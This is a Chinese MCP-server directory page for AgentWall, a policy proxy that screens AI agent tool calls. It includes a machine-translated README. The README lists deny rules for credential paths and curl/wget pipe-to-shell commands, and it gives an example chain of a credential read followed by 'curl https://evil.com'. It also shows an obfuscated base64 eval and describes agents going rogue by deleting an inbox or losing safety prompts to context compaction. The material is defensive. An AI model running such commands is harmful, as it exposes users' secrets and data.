Agent Wall

MCP安全风控

提供方 agentwall · 包名 @agentwall/agentwall

安全风控 stdio · 本地进程 会话登录 社区 / 第三方 Claude DesktopClaudeCursorWindsurf
查看接入方式

AgentWall是一款AI代理安全防护工具,通过YAML策略引擎、污点跟踪和独立审计日志保护用户免受恶意工具调用的侵害,适用于开发环境中的AI代理操作安全防护。

一句话选型结论

按资料字段整理

Agent Wall 属于安全风控类 MCP 服务器,stdio · 本地进程,会话登录,可直接接入 Claude Desktop、Claude、Cursor 等,有可直接执行的安装命令。接入前先确认权限范围;涉及写入、删除或付款的操作,建议先在测试环境验证。

分类安全风控 传输方式stdio · 本地进程 鉴权会话登录 部署方式本地部署
GitHub 星标 26 仓库热度,无公开仓库时显示未标注
工具数 未标注 暴露给模型的工具数量
资源 / 提示词 0 / 0 资源与提示词模板数量
维护方 社区 / 第三方 核验等级 仅资料核对

工具与能力

安全风控
数量来自来源目录的标注,具体工具清单以官方文档为准
工具数量未标注暴露给模型可调用的工具个数
资源数量0可读取的资源条目
提示词数量0内置提示词模板数量

能力标签

支持客户端

适用场景

AI安全TypeScript本地部署策略引擎污点跟踪审计日志开发安全

安装与配置

stdio · 本地进程 会话登录
客户端在本机拉起子进程,数据不出本机
npx @agentwall/agentwall setup

这条命令只是入口,具体启动参数请按官方文档补齐,不要直接照搬到别的服务器。

  1. 1
    准备运行环境

    stdio 服务在本地起进程,需要先装好 Node.js,再按安装命令拉取依赖。

  2. 2
    安装服务

    复制上面的安装命令执行;命令里带占位符的位置,换成自己的密钥或路径。

  3. 3
    写入客户端配置

    在客户端的 MCP 配置里填好启动命令和参数,保存后完全退出客户端再打开,让新配置生效。

  4. 4
    验证是否可用

    连接成功后随便调一个只读工具,确认能返回结果,再接入正式流程。

典型使用场景

3 类
按分类与标签整理的常见用法,具体以官方文档为准
资产与漏洞排查

盘点资产、扫漏洞、看暴露面。

日志与审计

汇总日志、查异常行为。

合规检查

按规则检查配置与权限是否合规。

选择建议

选之前先看这几条
按条目字段给出的判断,不替你决定用不用

值得选的地方

  • 有现成的安装命令,不用自己找入口,照着跑就能起服务。
  • 已适配 Claude Desktop、Claude、Cursor,换客户端不用重新研究配置。

先想清楚的地方

  • stdio 方式要求本地装好运行时(如 Node.js),换机器要重新装一遍。
  • 使用前要准备好会话登录对应的凭据,并按最小权限配置。
  • 资料没标注工具数量,实际能力要装好后确认。
  • 版本更新与行为细节以官方仓库为准。

更适合

  • 需要在安全风控场景里让模型直接调用外部能力的人。
  • 已经在用 Claude Desktop、Claude 的用户,接入路径最短。
  • 想先快速试一下、能接受在本地或自有环境跑服务的人。

不太适合

  • 完全不想在本地装环境的人。
  • 不方便管理密钥或第三方授权的人。
  • 需要厂商级 SLA 和技术支持的生产环境。

同类对比

6 个同类
同分类里挑最接近的几条,字段以各自详情页为准
MCP 服务器工具数传输方式部署方式安装命令最后核验
Agent Wall当前 未标注 stdio · 本地进程 本地部署 有 2026-05-17
Cyber Strike AI 75 未标注 未标注 无 2026-05-17
mcp-for-beginners 未标注 stdio · 本地进程 本地部署 有 2026-04-13
casdoor 未标注 stdio · 本地进程 本地部署 有 2026-04-12
kubeshark 未标注 stdio · 本地进程 本地部署 有 2026-04-11
Modelcontextprotocol C22988b0 未标注 stdio · 本地进程 本地部署 有 2026-05-17

服务器档案

安全风控
字段来自项目仓库与公开索引,中文说明由本站标注
提供方agentwall上游标注的维护方 agentwall
分类安全风控本站按上游分类展示
连接方式stdio · 本地进程客户端在本机拉起子进程,数据不出本机
鉴权方式会话登录远程服务建议用最小权限凭据
维护方社区 / 第三方核验等级 仅资料核对
包名 / 运行时@agentwall/agentwall · Node.js本地安装时用到的包标识与运行时
部署类型本地部署上游给出的部署形态
最近核验2026-05-17上游最后核验时间

详细介绍

17.9 KB
来自项目仓库与上游目录的原文,未做删改

AgentWall

您的AI代理具有root访问权限。这会阻止它。```bash
npx @agentwall/agentwall setup


______________________________________________________________________

克劳德说 **始终允许**OpenClaw说 **始终允许**.AgentWall还是阻止了它。```
18:14:47   mcp        DENY    policy   list_directory         ← BLOCKED despite Claude "Always allow"
18:14:51   openclaw   DENY    policy   exec                   ← BLOCKED despite OpenClaw approval
18:15:03   openclaw   DENY    policy   exec   gog gmail trash ← BLOCKED (inbox deletion prevented)

你的YAML策略是最终决定。不是客户。不是模型。你。

> 为什么在内置安全失效时,这会起作用: AgentWall在模型的上下文窗口之外运行。上下文压缩、提示注入或受损工具无法触及您的策略文件。


> ⚠️ 2026年2月,一个失控的OpenClaw代理发送了142 gog gmail trash 呼叫并删除了用户的整个收件箱。Claude Desktop和OpenClaw内置的安全提示在模型的上下文窗口内运行。上下文压缩可以完全清除它们。 Agent Wall会在呼叫#1时阻止它。

> 📖 写: 您的AI代理可以读取您计算机上的每个凭据


目录

  • 特性
  • 安装
  • 快速开始
  • 支持的客户
  • Web用户界面
  • 开爪
  • 政策
  • 速率限制
  • Taint跟踪
  • 审核日志
  • 命令
  • 运作原理
  • AgentWall保护什么
  • Agent Wall不能保护什么
  • OWASP代理AI十大报道

特性

  • 无处不在。 Claude Desktop、Cursor、Windsurf、Claude Code、OpenClaw、任何MCP客户端
  • Taint追踪。 检测凭据读取并阻止后续的出站网络调用,在完成多步渗透之前停止它
  • YAML策略引擎。 拒绝、允许、使用全局匹配、SQL内容匹配、路径规则进行询问
  • 一个命令安装。 npx @agentwall/agentwall setup 自动检测并包装所有MCP服务器
  • 浏览器审批界面。 批准或拒绝浏览器中的工具调用;在没有终端的GUI客户端中工作
  • 独立审计日志。 每次工具调用的真实记录,无论模型声称它做了什么
  • 热重新加载。 编辑 ~/.agentwall/policy.yaml 更改立即生效,无需重新启动
  • 速率限制。 在失控的代理循环造成损害之前,限制每分钟的工具调用次数
  • 防止收件箱删除。 积木 gog gmail trash/delete 命令和速率限制批量Gmail操作;本可以阻止 2026年2月OpenClaw事件 随叫随到#1
  • 完全可逆。 agentwall undo 在一个命令中恢复所有原始配置
  • 策略库。 gog、GitHub、1Password、消息传递等社区政策,请访问 代理墙注册表

安装```bash

npx @agentwall/agentwall setup


AgentWall检测克劳德桌面、光标、Windsurf、克劳德代码和OpenClaw。
自动包装每个MCP服务器。备份您的原件。零JSON编辑。```bash
# Or install globally
npm install -g @agentwall/agentwall
agentwall setup

需要Node.js>=22。

要验证保护是否处于活动状态:```bash
agentwall status

AgentWall v0.9.0

Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw

Policy: ~/.agentwall/policy.yaml

Decisions today: 47 allowed · 0 blocked · 2 approved


______________________________________________________________________

## 快速开始```bash
# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup

# 2. Create a default policy (protects credentials, database, shell)
agentwall init

# 3. Start the web UI first (it owns port 7823)
agentwall ui
# → http://localhost:7823

# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser

# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI

> ⚠️ 开机顺序很重要。 开始 agentwall ui 在OpenClaw网关之前和打开AI客户端之前。网关和MCP代理在启动时检测UI,并将批准请求路由到它。如果UI尚未运行,它们会退回到终端提示。


支持的客户

客户 审批方式 集成
克劳德桌面 本地主机浏览器UI:7823 MCP代理
光标 本地主机浏览器UI:7823 MCP代理
Windsurf 本地主机浏览器UI:7823 MCP代理
克劳德代码 终端 y/n/a 提示 MCP代理
OpenClaw 终端 y/n/a prompt 本机插件
任何MCP客户端 浏览器UI或终端 MCP代理

GUI客户端 (光标、克劳德桌面、Windsurf)没有终端。审批请求显示在您的浏览器中 http://localhost:7823。如果没有响应,30秒后自动拒绝。

终端客户端 (Claude Code,OpenClaw)获取内联 y/n/a 提示。按 a 始终允许在会话的其余时间进行操作。


Web用户界面```bash

agentwall ui # → http://localhost:7823


**批准** `/`:实时批准或拒绝浏览器中的工具调用。30秒后自动拒绝。

**策略编辑器** `/policy`:直观地或在原始YAML中编辑规则。两种模式都编辑同一个文件。更改立即生效。

**日志查看器** `/log`:您的代理所做一切的可搜索视图。按运行时、决策、工具名称、日期过滤。

**客户** `/clients`:查看计算机上每个受支持的客户端,哪些MCP服务器受到保护,并一键包装新服务器。

web UI仅限于本地主机。没有身份验证。无外部连接。

______________________________________________________________________

## 开爪

AgentWall包含一个本地OpenClaw插件,可以连接到 `before_tool_call`,拦截 `exec`, `read`, `write`, `edit`, `apply_patch`,以及 `process` 在他们执行之前。```bash
# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link

该插件独立于MCP代理运行。两者都可以同时运行,将每个决策记录到同一个审计文件中,而不管哪个运行时触发了它。

如果你使用 gog 对于Gmail访问,请在您的策略中添加电子邮件保护规则。看 防止收件箱删除(gog) 在......下面


政策

AgentWall按以下顺序评估规则: deny → 允许→ ask.
不匹配的呼叫默认为 问。从不允许无声地拨打未知电话。```bash
agentwall init # creates ~/.agentwall/policy.yaml with sensible defaults


### 规则字段

|字段|描述|示例|
|---|---|---|
| `command` |Shell命令glob| `"rm -rf *"` |
| `path` |文件路径glob| `~/.ssh/**` |
| `tool` |MCP工具名称glob| `"write_file"` |
| `match` |参数内容glob(不区分大小写)| `sql: "drop *"` |
| `url` |URL模式| `"*.competitor.com/*"` |

球状图案: `*` 匹配除以下字符之外的任何字符 `/`. `**` 匹配所有内容,包括 `/`规则中的所有字段都使用AND逻辑。

特殊路径值: `outside:workspace` 匹配当前工作目录之外的任何路径。

### 保护您的数据库```yaml
deny:
- tool: "*"
match:
sql: "drop *"
- tool: "*"
match:
sql: "truncate *"

ask:
- tool: "*"
match:
sql: "delete *"
- tool: "*"
match:
sql: "alter *"

DROP和TRUNCATE默默地封锁了。DELETE和ALTER提示审批。其他一切正常运行。SQL匹配不区分大小写。

防止收件箱删除(gog)

OpenClaw使用 gog CLI访问Gmail。自从 gog 作为shell进程运行,AgentWall的原生插件通过以下方式拦截它 exec 在它触及你的收件箱之前。

2026年2月,一名失控的OpenClaw代理发送了142 gog gmail trash 在用户进行干预之前,呼叫并删除了用户的整个收件箱。这是在呼叫#1时停止它的策略。代理自己的护栏没有。它们在代理已经覆盖的上下文窗口内运行。```yaml
deny:

Email — never trash or delete without explicit approval

  • tool: exec
    match:
    command: "gog gmail trash*"
  • tool: exec
    match:
    command: "gog gmail delete*"
  • tool: exec
    match:
    command: "gog gmail batchDelete*"

ask:

Email — confirm any inbox modification

  • tool: exec
    match:
    command: "gog gmail modify*"
  • tool: exec
    match:
    command: "gog gmail archive*"

limits:
- tool: exec
match:
command: "gog gmail*"
max: 10
window: 60 # max 10 Gmail operations per minute (a loop of 142 never completes)


删除规则被默认拒绝。归档并修改审批提示。即使错过了规则,速率限制也会捕获失控的批量操作。

为什么这在OpenClaw自己的护栏失败时奏效:该政策存在于 `~/.agentwall/policy.yaml`,在模型的上下文窗口之外。擦除模型安全说明的上下文压缩不会影响此文件。

请参阅 事故记录 完整的时间表。要深入了解凭证泄漏的工作原理以及AgentWall如何阻止它,请阅读: 您的AI代理可以读取您计算机上的每个凭据

### 完全默认策略```yaml
deny:
# Credentials — never access
- path: ~/.ssh/**
- path: ~/.aws/**
- path: ~/.gnupg/**

# Shell config — prevent persistence/backdoor
- path: ~/.bashrc
- path: ~/.zshrc

# Shell — never pipe from internet
- command: "curl * | *"
- command: "wget * | *"

# Database — never drop or truncate
- tool: "*"
match:
sql: "drop *"
- tool: "*"
match:
sql: "truncate *"

ask:
# Shell — confirm destructive commands
- command: "rm -rf *"
- command: "sudo *"
- command: "dd *"

# Git — confirm pushes to main
- tool: exec
match:
command: "git push*main*"

# Database — confirm writes
- tool: "*"
match:
sql: "delete *"
- tool: "*"
match:
sql: "alter *"

# Files outside workspace
- tool: "*"
path: outside:workspace

allow:
# Everything inside workspace is trusted
- path: workspace/**

limits:
- tool: exec
max: 30
window: 60    # max 30 shell commands per minute

allowed_hosts:
- api.anthropic.com
- api.openai.com
- github.com
- registry.npmjs.org
- pypi.org

速率限制

限制代理在每个会话窗口中可以调用工具的次数。在失控回路造成损坏之前将其捕获。```yaml
limits:
- tool: exec
max: 10
window: 60 # max 10 shell commands per minute
- tool: "*"
max: 200
window: 300 # max 200 total tool calls per 5 minutes


当接近限制(90%)时,AgentWall会触发macOS通知。当它点击时,代理会收到一条它可以读取的消息:```
AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.

Taint跟踪

AgentWall跟踪会话内跨工具调用的多步渗透攻击。当工具调用读取敏感文件(凭据、SSH密钥、环境变量)时,会话标记为 受污染的。无论单个策略规则如何,对不在分配列表上的主机的任何后续出站网络呼叫都会被自动阻止。

此检测到的杀伤链:```
Tool call reads ~/.aws/credentials → session marked TAINTED
Tool call runs curl https://evil.com → BLOCKED (taint violation)


Taint由以下因素触发:

- 读取敏感文件: `~/.ssh/`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, `.env`,SSH密钥
- 敏感数据库查询: `information_schema`, `pg_catalog`, `mysql.user`
- 访问的命令 `process.env`, `os.environ`,或敏感的环境变量

配置即使受到污染也允许哪些主机:```yaml
allowed_hosts:
- api.anthropic.com
- api.openai.com
- github.com
- registry.npmjs.org
- pypi.org

Taint状态可见 agentwall statusweb UI(警告横幅),以及 agentwall replay (以洋红色突出显示)。当新会话开始时,Taint会自动重置。


热重载

编辑 ~/.agentwall/policy.yaml 并且更改会立即应用于所有正在运行的代理和插件。无需重新启动Claude Desktop、Cursor或网关。```
[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml


______________________________________________________________________

## 审核日志

每个决策都独立于模型所声称的内容进行记录。

|日志文件|编写人|目录|
|---|---|---|
| `~/.agentwall/session-YYYY-MM-DD.jsonl` |MCP代理|通过代理拦截的工具调用|
| `~/.agentwall/decisions.jsonl` |OpenClaw插件|通过原生插件拦截的工具调用|

web UI日志查看器会自动合并这两个文件。```bash
agentwall replay          # color-coded table of today's decisions
agentwall replay 20       # last 20 entries
agentwall clear-logs      # remove all log files and start fresh

> 如果模型报告它只读取了一个文件,但AgentWall记录了47次读取,则日志是正确的。


命令```

agentwall setup [--dry-run] Auto-detect and wrap all MCP configs
agentwall undo Restore all original MCP configs from backup
agentwall proxy -- [args] Wrap a single MCP server
agentwall ui [--port 7823] Start the web UI
agentwall init Create default policy at ~/.agentwall/policy.yaml
agentwall status Show protection status and today's decision counts
agentwall replay [N] Show recent audit log entries (color-coded)
agentwall clear-logs Remove all log files
agentwall --version Print version


______________________________________________________________________

## 运作原理

AgentWall位于您的AI客户端和它生成的每个MCP服务器之间。```
AI Client  ←→  AgentWall Proxy  ←→  Real MCP Server
|
policy.yaml          ← your rules
taint tracker        ← cross-call exfiltration detection
audit log            ← independent record
approval UI          ← localhost:7823

客户永远不知道AgentWall在那里。真正的服务器永远不会知道它正在被代理。 agentwall setup 自动更改配置:```json
Before:
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
}
}
}

After:
{
"mcpServers": {
"filesystem": {
"command": "agentwall",
"args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
}
}
}


______________________________________________________________________

## AgentWall保护什么

- 意外破坏: `rm -rf`, `DROP TABLE`, `TRUNCATE`
- 凭证访问: `~/.ssh`, `~/.aws`, `~/.gnupg`
- Shell配置修改: `~/.bashrc`, `~/.zshrc` (持久性/后门)
- 工作区外的操作
- 破坏性git操作:强制推送、向主推送
- 失控代理:每个工具每个会话的速率限制
- 常见的混淆模式: `eval`, `base64 -d`
- 未经批准的数据库写入: `DELETE`, `ALTER`, `UPDATE`
- 多步渗透:污染跟踪阻止凭据读取→ 网络发送链
- 通过gog删除收件箱:拒绝垃圾/删除命令,限制批量Gmail操作的速率

______________________________________________________________________

## Agent Wall不能保护什么

**混乱的命令。** `eval $(echo cm0= | base64 -d)`.模式匹配参见 `eval`,而不是解码的有效载荷。

**通过请求体进行数据泄露。** Agent Wall看到 `curl` 命令,而不是网络有效载荷。

**迅速注射。** 在代理读取之前,需要扫描每个文件。

**超越污染跟踪的多步攻击。** Taint跟踪捕捉到最常见的模式(读取凭据→ 网络渗透),但不是所有间接链,例如将凭据写入一个世界可读的文件,然后另一个进程读取并发送。

AgentWall是一个策略引擎,而不是安全沙箱。正确的补充是操作系统级隔离:在一开始就没有凭据访问权限的容器中运行代理。两者相辅相成。

______________________________________________________________________

## OWASP代理AI十大报道

AgentWall解决了以下风险 2026年代理应用的OWASP前10名:

|威胁|AgentWall如何提供帮助|
|---|---|
|ASI02–工具滥用和利用|YAML策略引擎在执行前阻止破坏性的工具调用|
|ASI03–身份和特权滥用|凭证路径保护、工作区边界强制和污染跟踪|
|ASI04–数据过滤| Taint跟踪检测凭证访问并阻止后续的出站网络呼叫|
|ASI08–级联故障|速率限制在失控的代理循环造成损害之前将其捕获|

AgentWall是一个策略引擎,而不是安全沙箱。看 Agent Wall不能保护什么 诚实地评估其局限性。

______________________________________________________________________

## 策略库

通用工具的即用型策略:gog、GitHub CLI、1Password、消息传递、Homebrew等。```bash
agentwall policy add gog
agentwall policy add github
agentwall policy add bundle/developer

浏览所有政策→ github网站/agentwall/agentwall-reistry


贡献

欢迎捐款。看 贡献.md 作为指导方针。

要将新的MCP服务器添加到策略注册表中,请打开一个PR 代理墙注册表.


版本历史

版本 主题 发货内容
v0.1 概念验证 执行拦截、YAML策略引擎、JSONL审计日志
v0.2 完全覆盖OpenClaw 原生插件,所有工具调用都被拦截
v0.3 运行时无关 MCP代理:Claude Desktop、Cursor、Windsurf
v0.4 零摩擦 agentwall setup,数据库规则,npm发布
v0.5 可用性 热重载,速率限制
v0.6 Web UI 审批页面、策略编辑器、日志查看器
v0.7 客户端可见性 客户端选项卡,自动检测,一键保护
v0.8 通知 macOS通知、选项卡标题、声音
v0.9 污点跟踪 UI/CLI/audit中的交叉调用泄漏检测、allowe_hosts、污点状态

许可证

根据 Apache许可证,版本2.0.

常见问题

8 问
答案由本站依据条目字段整理,不引用上游原文
Agent Wall 怎么安装?

在客户端按下面的安装命令接入:npx @agentwall/agentwall setup。对应的包名是 @agentwall/agentwall。装完在客户端配置里引用同一个包或端点。

Agent Wall 怎么在 Claude Desktop、Claude、Cursor 里配置?

它的传输方式是stdio · 本地进程,在客户端的 MCP 配置里填好启动命令和参数,保存后完全退出客户端再打开,配置才会生效。

Agent Wall 收费吗?

本站不代收费用,也没有标注具体价格。是否收费取决于服务本身和背后的接口额度,正式使用前按官方说明确认。

Agent Wall 需要 API Key 吗?

资料标注需要会话登录认证,使用前准备好对应凭据,并按最小权限配置。

Agent Wall 支持哪些客户端?

资料标注支持 Claude Desktop、Claude、Cursor、Windsurf;其他客户端只要能配置 MCP Server,也能用同样的命令或地址接入。

Agent Wall 能提供哪些能力?

资料显示能力标签包括 安全、TypeScript、Claude。具体工具清单以官方文档为准。

Agent Wall 需要什么运行环境?

运行时为 Node.js;属于本地进程,需要在本机装好运行环境。

Agent Wall 是本地还是远程?

它是本地进程(stdio),由客户端在本机拉起。传输方式为stdio · 本地进程。

热门专题

按标签挑服务器
全部专题 →

服务器信息以作者仓库与官方文档为准;分类、传输方式与鉴权方式的中文说明为中文整理,最近核验 2026-05-17。